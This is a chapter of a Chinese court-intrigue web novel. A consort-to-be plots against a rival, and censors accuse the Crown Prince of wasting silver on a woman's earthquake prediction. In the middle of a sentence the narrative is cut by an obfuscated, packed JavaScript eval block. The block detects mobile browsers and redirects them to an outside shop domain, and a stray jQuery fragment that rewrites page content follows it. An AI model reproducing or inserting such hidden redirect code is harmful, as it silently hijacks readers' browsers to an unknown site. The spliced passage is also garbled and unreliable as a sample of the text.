应对京城北郊大地动,拯救数万百姓,需要的粮食、药材、衣物并非小数目。
饶是东宫要在短时间筹备齐全,动作也不会小。
秦筝并不意外程月华会发现东宫动作。
她只是冷冷地道:“不知死活!”
庄蓝诧异看了眼秦筝,轻声道:“小姐?”
从前程月华让人在满京城宣扬太子殿下痴恋她多年,给她送了双倍聘礼,给了她两座矿山……
甚至亲自约了小姐见面,要小姐归顺于自己旗下,助她拿下东宫正妃位置。
小姐都未曾放在心上,只当一阵风吹过了耳边。
如今小姐竟仿佛在乎起此人了?
秦筝并未打算对庄蓝解释。
从前,她自知以自己出身地位,又已与韩王有婚约,能得一个有封号的侧妃,已是极大殊荣了,是安于侧妃位置的。
左右她的人生还长,嫁入太子后院后,她依旧有许多机会往上爬。
又手握皇后娘娘的懿旨,她看着程月华、周疏夏、贞清辞等一众贵女为成太子正妃蹦跶,是颇有些坐山观虎斗的。
但时移境易,如今她已将东宫正妃视为囊中物,甚至提前准备着随时登上那梦寐以求的凤座。
她看待程月华几人,便不再如看跳梁的小丑,而是当做了竞争对手。
在她通往权力巅峰路上,必须一脚踹开的对手。
尽管程月华刚闹出被骗丑闻,丢尽了脸面,赵弈珩也似从来没将她放眼里。
秦筝仍不会丝毫放松警惕。
若不是程月华主动蹦跶,秦筝也打算在出发去京城北郊前,设一个小计,诱她出来,解决了她的。
没想到,程月华的脸皮比她想象得还厚,竟完全没有龟缩家里,躲避众人嘲笑,反而还主动来污她名声了。
倒是给她省事了。
想着,她低声吩咐道:“庞军姐姐,能否劳烦你动用一下你昔日熟识的同僚,朝程月华及程相府的同僚无意间透露出一条消息。”
“因我朝殿下提了京城北郊可能有地动的事,户部给殿下拨了三十万两银子让他去赈灾。”
“正好程相府的人不是一直龟缩,似要装死到底了吗。”
“东宫露了这么大一个把柄,他们还真能忍得住不去趁火**,继续当圣人。”
……
程月华,哦不,程相府的动作极快。
翌日朝堂上,在陛下处理完了要紧政事,正欲要退朝。
晋王一派的御史们就冒了出来。
“陛下,臣有本要奏。”
“陛下,臣也有本要奏。”
“陛下,臣等要奏太子殿下听信妖人谗言,相信妖人竟复刻出了地动仪,预测京城附近可能有地动的谣言,以应对地动为名浪费朝廷三十万银子的赋税囤积药材、衣物、粮食。”
“太子殿下乃是储君,如今竟公然做出囤积粮食、药材之举,敢问是有何居心。”
这话里的暗示意味太浓。
话音刚落地,东宫一派的官员就怒然道。
“如今陛下春秋鼎盛,我们殿下只为奉陛下之命而已,你们说这些话岂不是其心可诛!”
谁知这些话竟是全然落入了晋王麾下御史们的圈套。
他们一个接一个地站了出来,高声斥责着赵弈珩的行径。
“此前老臣还不敢相信,如今何侍郎既然亲口承认了,老臣就不得不觉得事情荒唐了。地动乃是天灾,岂可是被人轻易预测的,殿下从前如此贤明,如今竟轻信如此谣言,实在令人太过失望了。”
“若上位者皆如殿下般听风皆是雨,动辄要将我大虞朝百姓的赋税浪费在这等无稽之谈上,我大虞朝国库便是有上亿银两,都不够殿下祸害的。”
“一将无能累死三军,还望殿下记住这道理。”
“想来是殿下长居于庙堂,并不了解民间百姓疾苦,才能如此随意拿民间百姓缴纳的赋税,做出玩笑之举。”
‘地动’一词到底太过惊人,一时吸引了朝堂诸臣注意。
许多还不知晓东宫动向的官员霎时惊讶不已。
从前朝迄今,二百年没能被人复刻出的‘地动仪’,如今重新
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011334|187486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诞生于世间了,还预测出了京城北郊将有一场地动?
世间竟真有这等其人。
殿下该不会是被人忽悠了吧。
怀着这种想法,他们也纷纷询问起了赵弈珩。
“殿下,地动仪复刻的消息可靠否?”
“地动传言并非小事,轻则被冠以怪力神学传闻,重则会引起民乱造成百姓惶恐,殿下可真的确认的?”
“这地动仪该不是民间郎中胡乱弄出的玩具吧。”
晋王一派御史冷笑着道:“一个女人弄出的地动仪,我看比那些民间游方郎中还不如呢。”
一众官员立即倒吸一口冷气。
有人用力拍着大腿,有人呜呼哀哉地痛苦叫着。
“殿下,您怎可如此轻信于这等狡猾贼人。”
“若是东林学院哪位德高的祭酒复刻出了地动仪,老臣还能相信几分,但如今不过一个女人的作品,又怎么能取信于人。”
“一个女子,大字都认识不了即可,怎么能复刻出地动仪。”
“殿下,你被骗得好惨啊。”
东宫官员们自然是不容赵弈珩被人怀疑,纷纷明火执仗地反驳着。
“地动仪的事且不论,你们怎么断定殿下被骗了。”
“我们东宫只是采买一些东西,还是奉陛下之命,你们凭何如此质疑。”
“你们一群老匹夫,莫不是嫉妒他人能复刻出地动仪的举世功劳了。”
“一群嫉贤妒能自卑,我看你们也别在朝为官了,回去好好读一读圣人典籍吧。”
“你们一群狗吠实在很吵!”
随着年纪增长,陛下愈发多疑,已许久未在臣子面前表现喜怒了。
今日,他也如以往的朝堂一样,高居在龙椅上,冷冷地看着殿内臣子们吵成了一团。
待到东宫一派官员,及齐王、晋王一派官员吵得脸红脖子粗后,陛下才缓缓开口道。
“太子,针对赵御史和张御史的话,你有什么话说。”
赵弈珩平静道:“回禀父皇,儿臣行事合规合矩,无话可说。”